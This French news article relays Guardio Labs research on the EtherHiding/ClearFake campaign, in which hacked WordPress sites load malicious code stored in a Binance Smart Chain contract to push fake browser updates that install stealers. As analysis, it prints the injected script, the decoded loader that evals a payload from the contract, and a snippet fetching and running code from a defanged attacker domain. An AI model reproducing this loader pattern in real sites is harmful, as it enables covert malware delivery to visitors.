des hackers exploitent le rseau Binance Smart Chain pour hberger et diffuser leurs logiciels malveillants, selon des chercheurs

LinkedIn est la marque la plus usurpe par les cybercriminels et reprsente 52 % de toutes les attaques de phishing mondiales Il s'agit d'une hausse de 44 % par rapport au trimestre prcdent



Binance est une plateforme de trading de cryptomonnaies qui permet galement de crer et dexcuter des applications dcentralises et des contrats intelligents, cest–dire des accords cods qui sexcutent automatiquement lorsque certaines conditions sont remplies. Mais cette technologie innovante a aussi attir lattention de certains acteurs malveillants, qui ont trouv un moyen dutiliser le rseau Binance Smart Chain (BSC) pour hberger et diffuser leur logiciel malveillant en toute impunit.

Lune des plus anciennes astuces de malware (des sites Web pirats prtendant que les visiteurs doivent mettre jour leur navigateur Web avant de pouvoir afficher un contenu) a repris vie au cours des derniers mois. De nouvelles recherches montrent que les attaquants l’origine d’un tel systme ont dvelopp un moyen ingnieux d’empcher leurs logiciels malveillants d’tre supprims par des experts en scurit ou par les forces de l’ordre : en hbergeant les fichiers malveillants sur une blockchain de crypto-monnaie dcentralise et pseudo-anonyme.

En aot 2023, le chercheur en scurit Randy McEoin a crit sur une arnaque qu’il a surnomme ClearFake, qui utilise des sites WordPress pirats pour proposer aux visiteurs une page prtendant que vous devez mettre jour votre navigateur avant de pouvoir afficher le contenu.

Les fausses alertes de navigateur sont spcifiques au navigateur que vous utilisez. Ainsi, si vous surfez sur le Web avec Chrome, par exemple, vous recevrez une invite de mise jour de Chrome. Ceux qui sont tromps en cliquant sur le bouton de mise jour verront un fichier malveillant dpos sur leur systme qui tente d’installer un cheval de Troie volant des informations.

Selon une tude mene par Guardio Labs, une unit de recherche de la socit de scurit Guardio, les escrocs ont mis en place une campagne baptise EtherHiding, qui consiste injecter du code Javascript malveillant dans des sites web compromis, gnralement des sites WordPress. Ce code va ensuite interroger le rseau BSC en crant un contrat intelligent avec une adresse blockchain contrle par les attaquants. Ce contrat va renvoyer une charge utile malveillante et obfusque, qui va son tour contacter un serveur de commande et de contrle (C2) pour afficher aux visiteurs des sites infects une fausse alerte leur demandant de mettre jour leur navigateur. Si la victime clique sur le bouton de mise jour, elle est redirige vers le tlchargement dun excutable malveillant hberg sur Dropbox ou dautres services lgitimes de partage de fichiers.

Le logiciel malveillant ainsi tlcharg peut tre un chargeur (loader) qui va installer dautres programmes malveillants plus sophistiqus, tels que des voleurs dinformations (stealers), des chevaux de Troie ou des logiciels espions. Parmi les logiciels malveillants observs dans cette campagne, on trouve Amadey, Lumma, RedLine, DanaBot, Raccoon, Remcos, SystemBC ou Vidar.

Au cours des deux derniers mois environ, nous avons t confronts une nouvelle campagne de propagation de logiciels malveillants par fausses mises jour . Dans le flux d’attaque, un site est dgrad avec une superposition trs crdible exigeant une mise jour du navigateur avant de pouvoir accder au site. La fausse mise jour savre tre un malware voleur dinformations vicieux comme RedLine, Amadey ou Lumma.

Cette campagne, baptise ClearFake , identifie par Randy McEoin, commence son attaque sur des sites WordPress compromis o les attaquants intgrent un code JS dissimul. Ce code initial tte de pont est inject dans les pages darticles et rcupre une charge utile de deuxime tape auprs dun serveur contrl par les attaquants, qui effectue ensuite le reste du site.

Grce cette mthode, lattaquant peut modifier distance et instantanment le processus dinfection et afficher le message de son choix. Il peut changer de tactique, mettre jour les domaines bloqus et dsactiver les charges utiles dtectes sans raccder aux sites WordPress. Dans le cas de ClearFake , le code de la deuxime tape tait hberg sur Cloudflare Workers. Cela a t efficace jusqu’ ce que CloudFlare bloque ces comptes, interrompant potentiellement l’ensemble de la campagne.

Pourtant, dans cette volution de ClearFake , nous constatons que les acteurs malveillant ont introduit une nouvelle mthode dhbergement de code malveillant de manire anonyme et sans aucune limitation : un vritable hbergement Bullet Proof facilit par la Blockchain.

Pas de crypto-arnaques ici, alors pourquoi Binance ?

Le nouveau processus d’infection, premire vue, est le mme qu’auparavant : il utilise les mmes domaines et adresses IP, mais ds la premire entre du site WordPress compromis, nous voyons un nouveau trafic rseau inconnu dirig vers des serveurs contrls par Binance. Quest-ce que Binance, lune des plus grandes bourses de crypto-monnaie au monde, a voir avec tout cela ? Les chercheurs ont commenc par examiner la nouvelle variante du code de premire tape :

1
2
3
4

<script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js" type="application/javascript"></script>
<script src="data:text/javascript;base64,YXN5bmMgZnVuY3Rpb24gbG9hZCgpe2xldCBwcm92aWRlcj1uZXcgZXRoZXJz
LnByb3ZpZGVycy5Kc29uUnBjUHJvdmlkZXIoImh0dHBzOi8vYnNjLWRhdGFzZWVkMS5iaW5hbmNlLm9yZy8iKSxzaWduZXI9cHJvd
[......]b2FkOw=="></script>

Les deux balises de script dcrites ci-dessus sont les moyens par lesquels les acteurs malveillants semparent de lintgralit dun site WordPress. Les attaquants insrent ce code dans le modle principal d'un site WordPress, exploitant souvent des plugins vulnrables (par exemple Balada Injector), des versions WordPress obsoltes ou en utilisant des informations d'identification de site voles acquises sur le dark web.

Le code ci-dessus est simplement obscurci en Base64, ce qui se traduit par l'excution de ce qui suit sur chaque page charge partir du site compromis :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [
            { inputs: [{ internalType: "string", .......},
            { inputs: [], name: "get", ......},
            { inputs: [], name: "link", ....... },
        ],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link));
}
window.onload = load;

Cette partie du code malveillant interroge la BlockChain BSC. Il cre une nouvelle instance de contrat en linitialisant avec ladresse blockchain fournie et contrle par lattaquant. Il fournit galement lABI (Application Binary Interface) qui dclare les fonctions et la structure du contrat. La fonction appele est get(), et elle interrogera essentiellement le contrat pour renvoyer une charge utile spcifie qui sera ensuite dcode et value en tant que code JavaScript avec la fonction eval().

BSC, ou Binance Smart Chain, lance il y a trois ans, est la rponse de Binance Ethereum, conue pour excuter plus efficacement des applications dcentralises et des contrats intelligents . Alors qu'Ethereum est une blockchain publique dote de capacits de crypto-monnaie et de contrats, BSC appartient Binance et se concentre sur les contrats : des accords cods qui excutent automatiquement des actions lorsque certaines conditions sont remplies. Ces contrats offrent des moyens innovants de crer des applications et des processus. En raison de la nature publique et immuable de la blockchain, le code peut tre hberg en chane sans possibilit de retrait.

Cest ce que nous voyons ici dans cette attaque : le code malveillant est hberg et servi dune manire qui ne peut pas tre bloqu. Contrairement son hbergement sur un service Cloudflare Worker, comme cela tait attnu sur la variante prcdente. Il sagit vritablement dune arme double tranchant dans le domaine de la technologie dcentralise.

Analyse du contrat intelligent malveillant

Les chercheurs indiquent qu'ils ne peuvent pas voir le code rel utilis pour compiler ce contrat, mais ils ont accs son bytecode (dcentralis et transparent aprs tout). Une fois dcompil, voici sa fonctionnalit simple en action :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

def storage:
  stor0 is array of struct at storage 0

def update(string _newName) payable: 
  require calldata.size - 4 >= 32
  require _newName <= -1
  require _newName + 35 < calldata.size
  if _newName.length > -1:
      revert with 'NH{q', 65
  require _newName + _newName.length + 36 <= calldata.size
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if _newName.length:
          stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
  else:
  {...}

def get() payable: 
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
          {..}
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue 
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      else:
         {...}
  return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 

def unknown1c4695f4() payable: 
 {...}

Il s'agit d'une application de contrat simple qui utilise la fonction de stockage du contrat (la variable de tableau stor0). La mthode update() enregistre l'entre dans ce stockage octet par octet et la mthode get() lit le stockage et renvoie sa valeur sous forme de chane. De cette faon, en interagissant avec le contrat, les donnes peuvent tre crites ou mises jour sur la chane.

Nous pouvons le voir dans lhistorique des transactions sur le BSC, partir de la cration du contrat le 9 septembre 2023 par une autre adresse contrle par un attaquant. Cette autre adresse, cre fin juin 2022, a t charge en BNB (The Binance Coin) d'un montant juste suffisant pour crer et mettre jour le contrat des activits qui ne sont pas rellement payables, mais qui cotent quelques frais de gaz habituels mineurs (entre 0,02 0,60 USD chacune) :

Seule la premire mise jour du contrat est clairement un test (puisquelle ne comprenait en ralit que la chane test ), mais toutes les suivantes sont des morceaux vidents de code JavaScript. Lorsque les premires entres sont assez simples, ces dernires ajoutent davantage de techniques d'obscurcissement JavaScript mais continuent faire les mmes quelques activits simples que celles vues dans cette premire entre (aprs dcodage depuis Base64) :

1
2
3
4
5

const get_k_script = () => {
    let e = new XMLHttpRequest();
    return e.open("GET", "https://921hapudyqwdvy[.]com/vvmd54/", !1), e.send(null), e.responseText;
};
eval(get_k_script());

Il s'agit exactement du mme code que nous avons vu sur les variantes prcdentes de ClearFake (tel que renvoy par le service CloudFlare), seul le domaine de deuxime tape est modifi presque quotidiennement - cela montre quel point il est facile de mettre jour l'ensemble de la chane d'attaque avec une simple transaction blockchain.

Nous constatons que chaque fois que leur domaine est brl , une mise jour de la chane est publie pour changer le code malveillant et les domaines affilis au moins 30 domaines malveillants et ce nest pas fini.

Conclusion

Lavantage pour les escrocs dutiliser le rseau BSC est quil sagit dun service dcentralis, anonyme et public, qui ne peut pas tre censur ou supprim. En effet, le code hberg sur la blockchain est immuable et accessible tous. De plus, linterrogation du contrat intelligent est une opration gratuite, qui tait initialement conue pour dboguer les problmes dexcution des contrats sans impact rel. Ainsi, les escrocs disposent dun moyen gratuit, discret et robuste pour diffuser leur logiciel malveillant sans laisser de traces.

Face cette menace, Binance a dclar tre conscient du problme et avoir pris des mesures pour y remdier. La socit a indiqu avoir mis sur liste noire toutes les adresses associes la propagation du logiciel malveillant et avoir dvelopp un modle pour dtecter les futurs contrats intelligents qui utilisent des mthodes similaires pour hberger des scripts malveillants.

Les experts en scurit recommandent aux utilisateurs de se mfier des alertes de mise jour suspectes et de vrifier la source et la lgitimit des fichiers quils tlchargent. Ils conseillent galement dutiliser un logiciel antivirus jour et de sauvegarder rgulirement leurs donnes.

Source : Guardio Labs

Et vous ?

Que pensez-vous de lutilisation du rseau BSC par les escrocs pour hberger leur logiciel malveillant? Est-ce une preuve de lingniosit des hackers ou de la vulnrabilit des technologies dcentralises?

Que pensez-vous des mesures que Binance a prises pour contrer cette menace? Sont-elles suffisantes ou faut-il renforcer la scurit du rseau BSC?

Quels sont les risques pour les utilisateurs de cryptomonnaies qui visitent des sites web infects par cette campagne? Comment peuvent-ils se protger efficacement contre ce type dattaque?



Source link

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.